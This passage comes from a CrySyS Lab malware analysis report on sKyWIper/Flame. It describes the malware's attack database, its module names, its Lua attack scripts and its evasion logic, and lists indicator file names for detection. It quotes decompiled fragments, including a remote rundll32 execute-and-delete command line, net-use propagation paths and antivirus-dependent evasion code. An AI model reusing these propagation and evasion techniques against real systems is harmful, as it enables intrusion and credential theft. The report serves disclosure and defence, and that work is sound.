(CrySyS) Budapest University of Technology and Economics www.crysys.hu SINGLE_CMD_RUNNER Figure 41 To691.tmp strings on C&C communications and other activity Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 6. Attack details dictionary and scripts The file dstrlog.dat contains a ClanDB for names and terms used by the malware, an SQLite database used for attacks. This file is loaded through libclandb.lua by SQL commands, and the database is accessed using Lua scripts. We disclose detailed description of the SQLite database to show the SQL tables used for attacks. The attackers even take care of versions, and update the structure if necessary. The sample below shows a version upgrade script. if userVer == 1 or userVer == 2 then l_26_0:exec("\n ALTER TABLE entities ADD COLUMN tool_id INTEGER NULL;\n ALTER TABLE entities ADD COLUMN first_update_dt DATETIME INTEGER NULL;\n ALTER TABLE entities ADD COLUMN last_update_dt DATETIME INTEGER NULL;\n ALTER TABLE entities ADD COLUMN last_ip_update_dt DATETIME INTEGER NULL;\n ALTER TABLE metadata ADD COLUMN first_update_dt DATETIME INTEGER NULL;\n ALTER TABLE metadata ADD COLUMN last_update_dt DATETIME INTEGER NULL;\n ALTER TABLE attack_log ADD COLUMN home_id INTEGER NULL;\n ALTER TABLE attack_log ADD COLUMN date_dt DATETIME INTEGER NULL;\n ALTER TABLE attack_queue ADD COLUMN min_attack_interval INTEGER NULL;\n ALTER TABLE attack_queue ADD COLUMN home_id INTEGER NULL;\n ALTER TABLE attack_queue ADD COLUMN last_try_date_dt DATETIME INTEGER NULL;\n ALTER TABLE attack_queue ADD COLUMN igno re_max BOOLEAN INTEGER NOT NULL DEFAULT 0;\n\n\t\t\tCREATE TABLE IF NOT EXISTS cruise_attack_log (\n\t\t\t log_id INTEGER NOT NULL REFERENCES attack_log(line_id),\n\t\t\t user_sid TEXT NOT NULL,\n\t\t\t usersKyWIper TEXT NULL\n\t\t\t);\n\n \t\t\tCREATE TABLE IF NOT EXISTS options_per_entity (\n\t\t\t entity_id INTEGER NOT NULL,\n\t\t\t attack_type TEXT NOT NULL,\n\t\t\t cred_id INTEGER NULL,\n\t\t\t retries_left INTEGER NULL\n\t\t\t);\n\n CREATE TABLE IF NOT EXISTS attack_params (\n attack_queue_id INTEGER NOT NULL,\n name TEXT NOT NULL,\n value NUMERIC NULL,\n\n PRIMARY KEY(attack_queue_id, name)\n );") Figure 42 ClanDB update if version is too old There are a number of names and phrases in the database used in the code of the malware. Deeper analysis is needed to fully understand all these references. Here, we include the result of our initial investigation with a note that these interpretations might not be correct. Boost: Possibly information gathering based on enquiries received from remote parties. Flame: Common name for attacks, most likely by exploits. Ef_trace.txt relation. %temp%\dat3C.tmp and %systemroot%\\temp\\msdclr64.ocx related. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Flask: Attacks can be Jimmy or Flask. Probably Flask is one flame. Not sure. Jimmy: A specific CLAN attack type, but also a flame. CLAN probably refers to a local network attack while flame can be anything. Based on dll: c:\Projects\Jimmy\jimmydll_v2.0\JimmyForClan\Jimmy\bin\srelease\jimmydll\inds vc32.pdb reference can be found in it Movefile: No information Munch: Installation/propagation mechanism related to windows update and web downloads. Strings and possibly code can be found in mscrypt.dat MUNCH.GENERIC_BUFFERS.4.data.PATTERN ?*/windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/WUClient-SelfUpdateActiveX~31bf3856ad364e35~x86~~7.0.6000.381.cab*?? v6/windowsupdate/redir/wuredir.cab v7/windowsupdate/redir/wuredir.cab v8/windowsupdate/redir/muv3wuredir.cab v9/windowsupdate/redir/muv4wuredir.cab VISTA_7_VERSION_S */version_s.xml MUIDENT muident.cab /windowsupdate/?/?elf?pdate/WSUS3/x86/Vista/wsus3setup.cab download.windowsupdate.com/v6/windowsupdate/?/SelfUpdate/AU/x86/XP/en/wusetup.cab /v9/windowsupdate/?/SelfUpdate/AU/x86/W2KSP2/*/wusetup.cab /v9/windowsupdate/?/?elf?pdate/WSUS3/x86/Other/wsus3setup.cab v7/windowsupdate/redir/wuredir.cab v9/windowsupdate/redir/muv4wuredir.cab Figure 43 Munch attack related interesting strings SFS: Storage files. Some DAT files, like ntcache.dat, lmcache.dat. Snack: Related to Munch attack, possibly part of local propagation by exploit. Spotter: Possibly some scanner Transport: Replication method. Exploit-based propagation is most likely called flame, while that based on bad access permissions is a Transport . E.g. or NUSystem refers to net use way of propagation. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu obj.REMOTE_PATH_TEMPLATES = {temp = string.format("\\\\%s\\admin$\\temp", l_4_0.tgt), systemroot = string.format("\\\\%s\\admin$", l_4_0.tgt), commonprogramfiles = string.format("\\\\%s\\%s$\\Program Files\\Common Files", l_4_0.tgt, remoteSystemDrive)} obj.REMOTE_PATH_TEMPLATES.windir = obj.REMOTE_PATH_TEMPLATES.systemroot obj.REMOTE_LOCAL_PATH_TEMPLATES = {temp = "..\\temp"} Figure 44 Net use based propagation targets get configured Euphoria: EuphoriaApp handling. Related to a Flame attack. Related to mediaId Possibly file leaking after successful attack. BUENO_FLAME_DLL_KEY pointer to a large 1 MB binary in wpgfilter.dat CONFIG_TABLE : Referred from Lua code for configuration directives. Contains lot of parameters for attacks. Not sure which configuration is that. Headache: Related to multiple attacks, possibly additional parameters or properties of the attacks. Multiple phrases are related to animals in the malware: Gator: Windowsupdate based internet-check. If everything successful, things go on. If not, then there is a minimum and maximum waiting time defined, and a multiplier to increase retries slowly. Goat: Possibly C&C communications to GOAT servers Frog: ?? Beetlejuice: ?? Microbe: ?? Weasel: ?? Great work is going on the topic! on 30/05 new information was published by Kasperksy s available at https://www.securelist.com/en/blog?weblogid=208193538#w208193538 We updated this document to reflect up-to-date information on 30/05/2012. So from Kaspersky: Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Here is a brief overview of the available units. The names were extracted from the binary and the 146 resource. Bluetooth: enumerates devices around the infected machine. May turn itself into a beacon : announces the computer as a discoverable Beetlejuice device and encode the status of the malware in device information using base64. Records audio from existing hardware sources. Lists all multimedia devices, Microbe stores complete device configuration, tries to select suitable recording device. Selects one of the methods for infecting media, i.e. USB disks. Available Infectmedia methods: Autorun_infector, Euphoria. Creates autorun.inf that contains the malware and starts with a custom Autorun_infector open command. The same method was used by Stuxnet before it employed the LNK exploit. Create a junction point directory with desktop.ini and target.lnk from Euphoria LINK1 and LINK2 entries of resource 146 (were not present in the resource file). The directory acts as a shortcut for launching Flame. Creates backdoor accounts with login HelpAssistant on the machines Limbo within the network domain if appropriate rights are available. Infect machines using pre-defined user accounts. The only user account Frog specified in the configuration resource is HelpAssistant that is created by the Limbo attack. Munch HTTP server that responds to /view.php and /wpad.dat requests. Listens on network interfaces, receives and saves NBNS packets in a log Snack file. Has an option to start only when Munch is started. Collected data is then used for replicating by network. Configuration section that contains the list of all additional modules that Boot_dll_loader should be loaded and started. Weasel Creates a directory listing of the infected computer. Boost Creates a list of interesting files using several filename masks. Telemetry Logging facilities When an Internet connection becomes available, it connects to the C&C Gator servers, downloads new modules, and uploads collected data. Identifies programs that may be hazardous to Flame, i.e., anti-virus Security programs and firewalls. Bunny Dbquery Driller The purpose of these modules is not yet known. Headache Gadget Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 6.1. Some interesting Lua scripts inside the code CRUISE_CRED.lua The script gathers credential information from an already infected machine. More precisely, it cruises all the token objects to find the ones belong to the administrator or the Administrators, Domain Admins groups. If it is successful, it updates cruiseAttackLog in the CLAN database by means of the user sd and the user name. For more information, please see the Tables creds and cruise_attack_log in Figure 48. basic_info_app.lua The script gathers basic information about an infected computer such as the flame version it has been infected with, the computer name, the ip address of the machine. Furthermore, it books various parameters about the nature of information leak (e.g., AVERAGE_LEAK_BANDWIDTH, LAST_LEAK_TO_INTERNET, MEDIA_LEAKS_FROM_THIS_ COMPUTER, etc). Note that the FLAME_VERSION parameter must have been used to avoid the reinfection of the same computer and also to update flame if it is neccessary. clan_seclog.lua The script parses the Security log by searching for certain event Ids and retrieves the correspondig username and ip information from it. It is supposedly used to collect information about the traces of infection, or the credentials and source IPs used to authenticate to the infected machine. The script examines the following event Ids, where the corresponding log entries store the required pieces of information (Account Name, User Name and IP address) Event Id: 540 Refers to successful network logon. Among various parameters the log stores the User Name and Source Network Address as well. Event Id: 672 Refers to Authentication Ticket Granted Audit event. In case of Windows, the Kerberos authentication uses the optional pre-authentication phase before issuing an authentication ticket by checking the credentials of the client. If the client successfully authenticated to the workstation, Windows puts a log entry with event id 672 into the Security log in order to demonstrate the successful initial logon event. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Event Id 673: - Refers to Service Ticket Granted Audit event. Once the authentication ticket is granted a service ticket have to be gained. If it is so, the client could successfully logon to the domain, and Windows puts a log entry with the 673 event Id to the Security Log. Event Id 680: - Refers to Account Used for Logon by: . json.lua: json related string functions only casafety.lua: CLANattack safety tries to find out processes, registry information and similar related to ESET, KAV, McAfee, TrendMicro, and list from THREATENING_ PROGRAMS. Basically it s used to get information on how secure is to use the host from the perspective of the attacker. Some file names that are referred from code: ATTACK_FLAME_STARTLEAK: uses "%temp%\\~txqvsl.tmp" ATTACKOP_FLASK_PRODS: uses "%temp%\\~mso2a2.tmp" ATTACKOP_JIMMY_PRODS: uses "%temp%\\~dra53.tmp" 4784.dll creates the ~dra52.tmp and ~a29.tmp ATTACKOP_JIMMY.lua: ctx.exec:exec({cmdLine = ctx.transport:expandLocal(string.format("cmd /c cd \"%%temp%%\" &&(if exist \"%s\" start /wait rundll32 \"%s\",%s)&move /y \"%%_systemroot%%\\temp\\~dra52.tmp\" \"~dra53.tmp\" &del /q \"%s\"", remoteDLLBasename, remoteDLLBasename, dllExportedFunction, remoteDLLBasename)), mofInfo = {confPath = "LUA.CLAN.JIMMY_MOF", fn = "svchost1ex.mof"}}) Below is a description of the attack DLL files used in the Jimmy attack. 00004784.dll jimmy.dll contains resource 164 -Resource 164 - ~60kbyte file, lot of 0x00 bytes, sparse information contains extensions and string Comodo - encrypted 00005729.dll 00006411.dll 00004069.exe Figure 45 Internal executables/DLLs found in mssecmgr (main module) ATTACKOP_FLAME.luac ATTACKOP_FLAME_PRODS.luac ATTACKOP_FLAME_STARTLEAK.luac ATTACKOP_FLASK.luac ATTACKOP_FLASK_PRODS.luac ATTACKOP_JIMMY.luac Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu ATTACKOP_JIMMY_PRODS.luac ATTACKOP_MOVEFILE.luac ATTACKOP_RUNDLL.luac CRUISE_CRED.luac IMMED_ATTACK_ACTION.luac MUNCH_ATTACKED_ACTION.luac MUNCH_SHOULD_ATTACK.luac NETVIEW_HANDLER.luac NETVIEW_SPOTTER.luac REG_SAFETY.luac RESCH_EXEC.luac SECLOG_HANDLER.luac SECLOG_SPOTTER.luac SNACK_BROWSER_HANDLER.luac SNACK_ENTITY_ACTION.luac SNACK_NBNS_HANDLER.luac STD.luac SUCCESS_FLAME.luac SUCCESS_FLAME_STARTLEAK.luac SUCCESS_GET_PRODS.luac TRANSPORT_NUSYSTEM.luac TRANSPORT_NU_DUSER.luac USERPASS_CRED.luac WMI_EXEC.luac WMI_SAFETY.luac attackop_base_prods.luac attackop_base_sendfile.luac basic_info_app.luac casafety.luac clan_entities.luac clan_seclog.luac euphoria_app.luac event_writer.luac fio.luac flame_props.luac get_cmd_app.luac inline_script.luac (possibly multiple) json.luac leak_app.luac libclanattack.luac libclandb.luac libcommon.luac libdb.luac libflamebackdoor.luac liblog.luac libmmio.luac libmmstr.luac libnetutils.luac Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu libplugins.luac libwmi.luac main_app.luac payload_logger.luac post_cmd_app.luac rts_common.luac storage_manager.luac table_ext.luac transport_nu_base.luac Figure 46 List of LUA scripts found in sKyWIper 6.2. Related files 0004784.dll (Jimmy.dll) 0004784.dll is part of the Jimmy attack hence we use the name jimmy.dll. It contains the string c:\Projects\Jimmy\jimmydll_v2.0\JimmyForClan\Jimmy\bin\srelease\jimmydll\i ndsvc32.pdb 0004784.dll (jimmy.dll) can be extracted from decompressed resource 146 at position 0x2561F3. By running the jimmy.dll with rundll32 jimmy.dll, QDInit, it starts to produce files ~a29.tmp and ~dra52.tmp. (QDInit == Quick Disk Inspection?) Related information can be found in lua files: ATTACKOP_JIMMY.lua: ctx.exec:exec({cmdLine = ctx.transport:expandLocal(string.format("cmd /c cd \"%%temp%%\" &&(if exist \"%s\" start /wait rundll32 \"%s\",%s)&move /y \"%%_systemroot%%\\temp\\~dra52.tmp\" \"~dra53.tmp\" &del /q \"%s\"", remoteDLLBasename, remoteDLLBasename, dllExportedFunction, remoteDLLBasename)), mofInfo = {confPath = "LUA.CLAN.JIMMY_MOF", fn = "svchost1ex.mof"}}) Figure 47 Jimmy temp files reference in Lua script ATTACKOP_JIMMY.lua The produced ~dra52.tmp in our samples contained around 580 byte compressed data (PPMd) on some partial file listings related information of some (5-10) files of the file system. The remaining data is compressed or encrypted. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Most likely jimmy.dll is capable to grab screenshots and other modules perform other information stealing tasks. If we run the jimmy.dll manually with rundll32, ~a29.tmp contains 12 bytes, bytes pos 0x40x7 are different on different systems, other bytes match. 00004069.exe 00004069.exe registers itself under the name Windows Management Instrumentation Configurator , and contains references to %windir%\system32\rdcvlt32.exe %temp%\sl84.tmp WinInit.INI and other files. 6.3. SQLite table structure of CLAN DB Attack and other information is stored in SQLite and unknown CLAN databases. The dstrlog structure is described below. It appears unusual to use databases to store attack related information inside the malware, but apparently this is the case: mssecmgr.dll contains DB2 ODBC references inside (unknown goal) and attack strings contain Oracle references as well (most likely for information gathering). Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 48 dstrlog structure, part 1 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 49 dstrlog structure, part 2 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Figure 50 dstrlog structure, part 3 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 7. Evasion techniques 7.1. Security programs relation The authors took extra precautions to evade detection by security products. The list is so comprehensive it is rarely seen. A very similar list can be found in the ccalc32drv.sys file, where table DangerousProcesses contains 346 items. We do not disclose the list as it could serve other malware authors for their goals. 7.2. Design choices and tricks It can clearly be seen that this malware was continuously developed over a long time period and it employs several tricks to evade security products. For example, the extensions are chosen according to the detected anti-malware products. We found that the malware usually uses the .ocx extension, but this decision is based on how to get best under the radar. In case of McAfee McShield installed, the preferred extension is changed to .tmp as seen in the decompiled code segment below. Transport.getPreferredDLLExtension = function(l_10_0) local remoteProcs = l_10_0.ctx.remoteSafety:procList() local gotMcShield = false for pid,exe in pairs(remoteProcs) do if string.lower(exe) == "mcshield.exe" then gotMcShield = true else if gotMcShield then log.writeEx(-1453109576, 189173052, log.colons(tostring(l_10_0.ctx.tgt), "tmp")) return "tmp" else return "ocx" Figure 51 Extension selection based on active A/V system Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 7.3. Malware s own files list sKyWIper puts its own files on a whitelist. Extra care should be taken of these files and constants, and they should possibly be put into IDS/IPS signatures: preg.exe ntcache.dat lmcache.dat rccache.dat dcomm.dat dmmsapi.dat ~dra52.tmp commgr32 target.lnk ccalc32.sys authentication packages zff042 urpd.ocx Pcldrvx.ocx ~KWI guninst32 ~HLV ~DEB93D.tmp lib.ocx lss.ocx ~DEB83C.tmp stamn32 ~dra53.tmp nteps32 cmutlcfg.ocx ~DFL983.tmp ~DF05AC8.tmp ~DFD85D3.tmp ~a29.tmp dsmgr.ocx ~f28.tmp desc.ini fib32.bat ~d43a37b.tmp ~dfc855.tmp Ef_trace.log contents.btr wrm3f0 scrcons.exe wmiprvse.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu wlndh32 mprhlp kbdinai services.exe ~ZLM0D1.ocx ~ZLM0D2.ocx sstab m4aaux.dat explorer.exe gppref32.exe inje svchost iexplore SeCEdit ~nms534 Windows Authentication Client Manager Windows NT Enhanced Processing Service ~rcf0 ~rcj0 Figure 52 Strings found in winlogon memory dump Ccalc32drv.sys contains configuration settings for the malware. A part of it is a table Exposureindicating which should most likely mostly relate to the malware s own files. ExposureIndicating.1 ExposureIndicating.2 ExposureIndicating.3n ExposureIndicating.4 ExposureIndicating.5 ExposureIndicating.6 ExposureIndicating.7 ExposureIndicating.8 ExposureIndicating.9 ExposureIndicating.10 ExposureIndicating.11 ExposureIndicating.12 ExposureIndicating.13 ExposureIndicating.14 ExposureIndicating.15 ExposureIndicating.16 ExposureIndicating.17 ExposureIndicating.18 ExposureIndicating.19 ExposureIndicating.20 ExposureIndicating.21 ExposureIndicating.22 ExposureIndicating.23 ExposureIndicating.24 audcache audfilter.dat ~ia33.tmp commgr32 nteps32 ~f28.tmp dsmgr.ocx ~nms534 m4aaux.dat mpgaud.dat msaudio mspbee32 ~a49.tmp mssvc32.ocx ~a38.tmp MSAudio boot32drv.sys wave9 wavesup3.drv wpgfilter.dat MSSecurityMgr ssitable mssecmgr.ocx modevga.com Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu ExposureIndicating.25 soapr32.ocx ExposureIndicating.26 ExposureIndicating.27 ExposureIndicating.28 ExposureIndicating.29 ExposureIndicating.30 ExposureIndicating.31 ExposureIndicating.32 ExposureIndicating.33 ExposureIndicating.34 ExposureIndicating.35 ExposureIndicating.36 ExposureIndicating.37 ExposureIndicating.38 ExposureIndicating.39 ExposureIndicating.40 ExposureIndicating.41 ExposureIndicating.42 ExposureIndicating.43 ExposureIndicating.44 ExposureIndicating.45 ExposureIndicating.46 ExposureIndicating.47 ExposureIndicating.48 ExposureIndicating.49 ExposureIndicating.50 ExposureIndicating.51 ExposureIndicating.52 ExposureIndicating.53 ExposureIndicating.54 ExposureIndicating.55 ExposureIndicating.56 ExposureIndicating.57 ExposureIndicating.58 ExposureIndicating.59 ExposureIndicating.60 ExposureIndicating.61 ExposureIndicating.62 ExposureIndicating.63 ExposureIndicating.64 ExposureIndicating.65 ExposureIndicating.66 ExposureIndicating.67 ExposureIndicating.68 ExposureIndicating.69 ExposureIndicating.70 ExposureIndicating.71 ExposureIndicating.72 ExposureIndicating.73 ExposureIndicating.74 ExposureIndicating.75 ExposureIndicating.76 ExposureIndicating.77 indsvc32.ocx ~mso2a0.tmp ~mso2a2.tmp netprot32 mssui.drv preg.exe ntcache.dat lmcache.dat rccache.dat dcomm.dat dmmsapi.dat authentication packages zff042 indsvc32b.ocx ~dra52.tmp ~KWI ccalc32.sys ~HLV urpd.ocx lib.ocx lss.ocx target.lnk stamn32 guninst32 ~DEB13DE.tmp Pcldrvx.ocx nddesp32.ocx cmutlcfg.ocx ~DEB93D.tmp ~DEB83C.tmp ~dra53.tmp ~DFL983.tmp ~a29.tmp ~DF05AC8.tmp ~DFD85D3.tmp ~d43a37b.tmp wrm3f0 desc.ini Ef_trace.log wlndh32 mprhlp kbdinai contents.btr fib32.bat sstab scrcons.exe wmiprvse.exe services.exe explorer.exe inje svchost gppref32.exe Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu ExposureIndicating.78 ExposureIndicating.79 ExposureIndicating.80 ExposureIndicating.81 ExposureIndicating.82 ExposureIndicating.83 ExposureIndicating.84 ExposureIndicating.85 ExposureIndicating.86 ExposureIndicating.87 ExposureIndicating.88 ExposureIndicating.89 ExposureIndicating.90 ExposureIndicating.91 ExposureIndicating.92 ExposureIndicating.93 ExposureIndicating.94 ExposureIndicating.95 ExposureIndicating.96 ExposureIndicating.97 ExposureIndicating.98 ExposureIndicating.99 ExposureIndicating.100 ExposureIndicating.101 ExposureIndicating.102 ExposureIndicating.103 ExposureIndicating.104 ExposureIndicating.105 ExposureIndicating.106 ExposureIndicating.107 ExposureIndicating.108 ExposureIndicating.109 ExposureIndicating.110 ExposureIndicating.111 ExposureIndicating.112 ExposureIndicating.113 ExposureIndicating.114 ExposureIndicating.115 ExposureIndicating.116 ExposureIndicating.117 ExposureIndicating.118 ExposureIndicating.119 ExposureIndicating.120 ExposureIndicating.121 ExposureIndicating.122 ExposureIndicating.123 ExposureIndicating.124 ExposureIndicating.125 ExposureIndicating.126 ExposureIndicating.127 ExposureIndicating.128 ExposureIndicating.129 ExposureIndicating.130 ExposureIndicating.131 ~dfc855.tmp SeCEdit DefaultEnvironment LastUsedIdentifier Windows Authentication Client Manager Windows NT Enhanced Processing Service ~rcf0 ~rcj0 ~ZLM0D1.ocx ~ZLM0D2.ocx Delayed Write Failed iexplore cgi-bin\counter.cgi Mon.com Mon.exe ~ekz167.tmp ~zwp129.tmp ~dfc634.tmp ~dfc551.tmp ~dfc412.tmp tftp.exe csvde.exe dstrlog.dat dstrlogh.dat ~ZFF ~ZLM ~PCY Firefox\profiles advnetcfg hub001.dat hub002.dat .MSBTS D:\.. E:\.. F:\.. G:\.. H:\.. watchxb.sys ntaps.dat netcfgi.ocx advpck.dat Advanced Network Configuration commgr32.dll comspol32.dll ~rf288.tmp msglu32.ocx Windows Indexing Service Remote Procedure Call Namespace Client rpcnc.dat sndmix.drv fmpidx.bin tokencpt Windows Client Manager secindex Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu ExposureIndicating.132 ExposureIndicating.133 ExposureIndicating.134 ExposureIndicating.135 ExposureIndicating.136 ExposureIndicating.137 ExposureIndicating.138 ExposureIndicating.139 ExposureIndicating.140 ExposureIndicating.141 ExposureIndicating.142 ExposureIndicating.143 ExposureIndicating.144 mixercfg.dat audtable.dat mixerdef.dat MSSndMix MSAuthCtrl authpack.ocx posttab.bin lrlogic lmcache.dat ctrllist.dat authcfg.dat dcomm dmmsapi Figure 53 List of the malware s configuration settings most likely contains the malware s own files Possible other related parts from different sources: SUICIDE.RESIDUAL_FILES.A [NoValue]->%temp%\~a28.tmp SUICIDE.RESIDUAL_FILES.B [NoValue]->%temp%\~DFL542.tmp SUICIDE.RESIDUAL_FILES.C [NoValue]->%temp%\~DFL543.tmp SUICIDE.RESIDUAL_FILES.D [NoValue]->%temp%\~DFL544.tmp SUICIDE.RESIDUAL_FILES.E [NoValue]->%temp%\~DFL545.tmp SUICIDE.RESIDUAL_FILES.F [NoValue]->%temp%\~DFL546.tmp SUICIDE.RESIDUAL_FILES.G [NoValue]->%temp%\~dra51.tmp SUICIDE.RESIDUAL_FILES.H [NoValue]->%temp%\~dra52.tmp SUICIDE.RESIDUAL_FILES.I [NoValue]->%temp%\~fghz.tmp SUICIDE.RESIDUAL_FILES.J [NoValue]->%temp%\~rei524.tmp SUICIDE.RESIDUAL_FILES.K [NoValue]->%temp%\~rei525.tmp SUICIDE.RESIDUAL_FILES.L [NoValue]->%temp%\~TFL848.tmp SUICIDE.RESIDUAL_FILES.M [NoValue]->%temp%\~TFL842.tmp SUICIDE.RESIDUAL_FILES.O [NoValue]->%temp%\GRb2M2.bat SUICIDE.RESIDUAL_FILES.P [NoValue]->%temp%\indsvc32.ocx SUICIDE.RESIDUAL_FILES.Q [NoValue]->%temp%\scaud32.exe SUICIDE.RESIDUAL_FILES.R [NoValue]->%temp%\scsec32.exe SUICIDE.RESIDUAL_FILES.S [NoValue]->%temp%\sdclt32.exe SUICIDE.RESIDUAL_FILES.T [NoValue]->%temp%\sstab.dat SUICIDE.RESIDUAL_FILES.U [NoValue]->%temp%\sstab15.dat SUICIDE.RESIDUAL_FILES.V [NoValue]->%temp%\winrt32.dll SUICIDE.RESIDUAL_FILES.W [NoValue]->%temp%\winrt32.ocx SUICIDE.RESIDUAL_FILES.X [NoValue]->%temp%\wpab32.bat SUICIDE.RESIDUAL_FILES.T [NoValue]->%windir%\system32\commgr32.dll SUICIDE.RESIDUAL_FILES.A1 [NoValue]->%windir%\system32\comspol32.dll SUICIDE.RESIDUAL_FILES.A2 [NoValue]->%windir%\system32\comspol32.ocx SUICIDE.RESIDUAL_FILES.A3 [NoValue]->%windir%\system32\indsvc32.dll SUICIDE.RESIDUAL_FILES.A4 [NoValue]->%windir%\system32\indsvc32.ocx SUICIDE.RESIDUAL_FILES.A5 [NoValue]->%windir%\system32\modevga.com SUICIDE.RESIDUAL_FILES.A6 [NoValue]->%windir%\system32\mssui.drv SUICIDE.RESIDUAL_FILES.A7 [NoValue]->%windir%\system32\scaud32.exe SUICIDE.RESIDUAL_FILES.A8 [NoValue]->%windir%\system32\sdclt32.exe SUICIDE.RESIDUAL_FILES.A2 [NoValue]->%windir%\system32\watchxb.sys SUICIDE.RESIDUAL_FILES.A10 [NoValue]->%windir%\system32\winconf32.ocx SUICIDE.RESIDUAL_FILES.A11 [NoValue]->%windir%\system32\mssvc32.ocx Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu SUICIDE.RESIDUAL_FILES.A12 [NoValue]->%COMMONPROGRAMFILES%\Microsoft Shared\MSSecurityMgr\rccache.dat SUICIDE.RESIDUAL_FILES.A13 [NoValue]->%COMMONPROGRAMFILES%\Microsoft Shared\MSSecurityMgr\dstrlog.dat SUICIDE.RESIDUAL_FILES.A14 [NoValue]->%COMMONPROGRAMFILES%\Microsoft Shared\MSAudio\dstrlog.dat SUICIDE.RESIDUAL_FILES.A15 [NoValue]->%COMMONPROGRAMFILES%\Microsoft Shared\MSSecurityMgr\dstrlogh.dat SUICIDE.RESIDUAL_FILES.A16 [NoValue]->%COMMONPROGRAMFILES%\Microsoft Shared\MSAudio\dstrlogh.dat SUICIDE.RESIDUAL_FILES.A17 [NoValue]->%SYSTEMROOT%\Temp\~8C5FF6C.tmp SUICIDE.RESIDUAL_FILES.A18 [NoValue]->%windir%\system32\sstab0.dat SUICIDE.RESIDUAL_FILES.A12 [NoValue]->%windir%\system32\sstab1.dat SUICIDE.RESIDUAL_FILES.A20 [NoValue]->%windir%\system32\sstab2.dat SUICIDE.RESIDUAL_FILES.A21 [NoValue]->%windir%\system32\sstab3.dat SUICIDE.RESIDUAL_FILES.A22 [NoValue]->%windir%\system32\sstab4.dat SUICIDE.RESIDUAL_FILES.A23 [NoValue]->%windir%\system32\sstab5.dat SUICIDE.RESIDUAL_FILES.A24 [NoValue]->%windir%\system32\sstab6.dat SUICIDE.RESIDUAL_FILES.A25 [NoValue]->%windir%\system32\sstab7.dat SUICIDE.RESIDUAL_FILES.A26 [NoValue]->%windir%\system32\sstab8.dat SUICIDE.RESIDUAL_FILES.A27 [NoValue]->%windir%\system32\sstab2.dat SUICIDE.RESIDUAL_FILES.A28 [NoValue]->%windir%\system32\sstab10.dat SUICIDE.RESIDUAL_FILES.A22 [NoValue]->%windir%\system32\sstab.dat SUICIDE.RESIDUAL_FILES.B1 [NoValue]->%temp%\~HLV751.tmp SUICIDE.RESIDUAL_FILES.B2 [NoValue]->%temp%\~KWI288.tmp SUICIDE.RESIDUAL_FILES.B3 [NoValue]->%temp%\~KWI282.tmp SUICIDE.RESIDUAL_FILES.B4 [NoValue]->%temp%\~HLV084.tmp SUICIDE.RESIDUAL_FILES.B5 [NoValue]->%temp%\~HLV224.tmp SUICIDE.RESIDUAL_FILES.B6 [NoValue]->%temp%\~HLV227.tmp SUICIDE.RESIDUAL_FILES.B7 [NoValue]->%temp%\~HLV473.tmp SUICIDE.RESIDUAL_FILES.B8 [NoValue]->%windir%\system32\nteps32.ocx SUICIDE.RESIDUAL_FILES.B2 [NoValue]->%windir%\system32\advnetcfg.ocx SUICIDE.RESIDUAL_FILES.B10 [NoValue]->%windir%\system32\ccalc32.sys SUICIDE.RESIDUAL_FILES.B11 [NoValue]->%windir%\system32\boot32drv.sys SUICIDE.RESIDUAL_FILES.B12 [NoValue]->%windir%\system32\rpcnc.dat SUICIDE.RESIDUAL_FILES.B13 [NoValue]->%windir%\system32\soapr32.ocx SUICIDE.RESIDUAL_FILES.B14 [NoValue]->%windir%\system32\ntaps.dat SUICIDE.RESIDUAL_FILES.B15 [NoValue]->%windir%\system32\advpck.dat SUICIDE.RESIDUAL_FILES.B16 [NoValue]->%temp%\~rf288.tmp SUICIDE.RESIDUAL_FILES.B17 [NoValue]->%temp%\~dra53.tmp SUICIDE.RESIDUAL_FILES.B18 [NoValue]->%systemroot%\system32\msglu32.ocx SUICIDE.RESIDUAL_FILES.C1 [NoValue]->%COMMONPROGRAMFILES%\Microsoft Shared\MSAuthCtrl\authcfg.dat SUICIDE.RESIDUAL_FILES.C2 [NoValue]->%COMMONPROGRAMFILES%\Microsoft Shared\MSSndMix\mixercfg.dat Figure 54 SUICIDE RESIDUAL FILES probably also malware related (to691.tmp) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Possible other related parts from different sources: %windir%\system32\comspol32.dll ? DisableRSO found in res146 in F compression; maybe the same as nteps32 %windir%\system32\commgr32.dll ? DisableRTA The same as for comspol32.dll Figure 55 Winlogon.exe with injected code working with ccalc32.sys procmon Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu ANNEX Here we give some hint on implementing functions for which we had problems. The typical example is encryption, where it is very important which parameters and implementation are in use, and what type of header should exist for the successful decompression. Again, we don t want to show best practice, we want to show at least one successful way to work with the sample. load sample into $bufall use Compress::Zlib; sub FlatDecoding { my ($str) = @_; my @ret = split('', $str); my ($k, $err) = inflateInit( {-Bufsize => 1}); my ($ret,$z,$status) = ('','',0); foreach (@ret) { ($z, $status) = $k->inflate($_); $ret .= $z; last if $status == Z_STREAM_END or $status != Z_OK; return $ret; $bufall2=FlatDecoding($bufall); ..save $bufall2 Figure 56 F/Inflate/Flate decompression PERL sample code copied from the net load sample into 